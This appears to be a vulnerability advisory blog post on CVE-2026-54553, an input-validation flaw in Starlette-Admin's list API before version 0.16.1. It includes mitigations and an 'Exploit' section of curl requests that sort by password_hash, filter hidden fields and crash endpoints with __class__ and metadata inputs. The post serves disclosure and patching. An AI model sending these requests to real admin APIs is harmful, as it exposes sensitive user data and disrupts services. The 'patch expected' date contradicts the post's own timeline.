Listen to this Post
Starlette-Admin is a fast, beautiful, and extensible administrative interface framework for FastAPI and Starlette applications. Prior to version 0.16.1, the list API does not validate user-supplied `order_by` and structured `where` field names against the configured `sortable_fields` and `searchable_fields` allowlists. While the administrative user interface restricts available fields based on field configuration, the backend accepts arbitrary field names supplied through API requests.
An authenticated user with access to an affected list endpoint can submit crafted requests to sort or filter records using fields that are not intended to be searchable or sortable, bypassing the restrictions presented by the administrative interface. Additionally, supplying invalid field names or special Python attribute names such as `metadata` or the class dunder attribute (__class__) can trigger unhandled exceptions that result in HTTP 500 responses. The vulnerability resides in the `starlette_admin/base.py` file and the `BaseModelView` validation path.
This issue is categorized under CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor), CWE-248 (Uncaught Exception), and CWE-639 (Authorization Bypass Through User-Controlled Key). The vulnerability was assigned CVE-2026-54553 on June 15, 2026, and was published on August 26, 2026. The CVSS v3.1 base score is 5.4 (Medium), with the vector: AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L. The attack can be launched remotely, requires low privileges, and has low complexity. The vulnerability affects all versions before 0.16.1 and is fixed in version 0.16.1. There are no known workarounds; users should upgrade to version 0.16.1 or later.
DailyCVE Form:
Platform: Starlette-Admin
Version: < 0.16.1
Vulnerability: Improper Input Validation
Severity: Medium (5.4 CVSS)
Date: 2026-08-26
Prediction: Patch expected 2026-06-15
What Undercode Say:
Check installed version pip show starlette-admin | grep Version Identify vulnerable endpoints Look for list API endpoints using order_by and where parameters Example: /admin/api/list?order_by=<strong>class</strong> Test for vulnerability curl -X GET "http://target.com/admin/api/list?order_by=__class__" \ -H "Authorization: Bearer <token>" Expected: HTTP 500 if vulnerable, HTTP 200 if patched Test sorting on non-sortable field curl -X GET "http://target.com/admin/api/list?order_by=secret_field" \ -H "Authorization: Bearer <token>" Test filtering on non-searchable field curl -X GET "http://target.com/admin/api/list?where=secret_field==value" \ -H "Authorization: Bearer <token>" Upgrade to patched version pip install --upgrade starlette-admin>=0.16.1
Exploit: (Educational Purposes!)
An authenticated attacker can exploit this vulnerability by crafting API requests with arbitrary field names in the `order_by` or `where` parameters:
1. Bypass UI restrictions - sort by hidden field curl -X GET "https://target.com/admin/users/list?order_by=password_hash" \ -H "Authorization: Bearer <authenticated_session>" 2. Bypass UI restrictions - filter by hidden field curl -X GET "https://target.com/admin/users/[email protected]" \ -H "Authorization: Bearer <authenticated_session>" 3. Trigger HTTP 500 DoS using Python special attributes curl -X GET "https://target.com/admin/users/list?order_by=__class__" \ -H "Authorization: Bearer <authenticated_session>" curl -X GET "https://target.com/admin/users/list?order_by=metadata" \ -H "Authorization: Bearer <authenticated_session>" 4. Combined attack - multiple invalid parameters curl -X GET "https://target.com/admin/users/list?order_by=__class__&where=__dict__==test" \ -H "Authorization: Bearer <authenticated_session>"
Protection:
- Upgrade immediately to Starlette-Admin version 0.16.1 or later
- Validate all user-supplied input against configured allowlists on the backend, not just the UI
- Implement proper exception handling to prevent HTTP 500 responses from unhandled exceptions
- Use a Web Application Firewall (WAF) to block requests containing suspicious field names like `__class__` or `metadata`
5. Monitor logs for HTTP 500 responses and unusual `order_by` or `where` parameter values - Apply the principle of least privilege – ensure users only have access to endpoints they need
Impact:
- Information Exposure: Authenticated users can sort or filter on fields not intended to be searchable or sortable, potentially exposing sensitive data
- Denial of Service: Invalid field names or special Python attribute names such as `metadata` and `__class__` can trigger unhandled exceptions, resulting in HTTP 500 responses that cause limited denial of service for targeted endpoints
- Bypass of UI Restrictions: Intended administrative interface restrictions can be bypassed via direct API requests
- No known workarounds exist; upgrading is the only solution
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
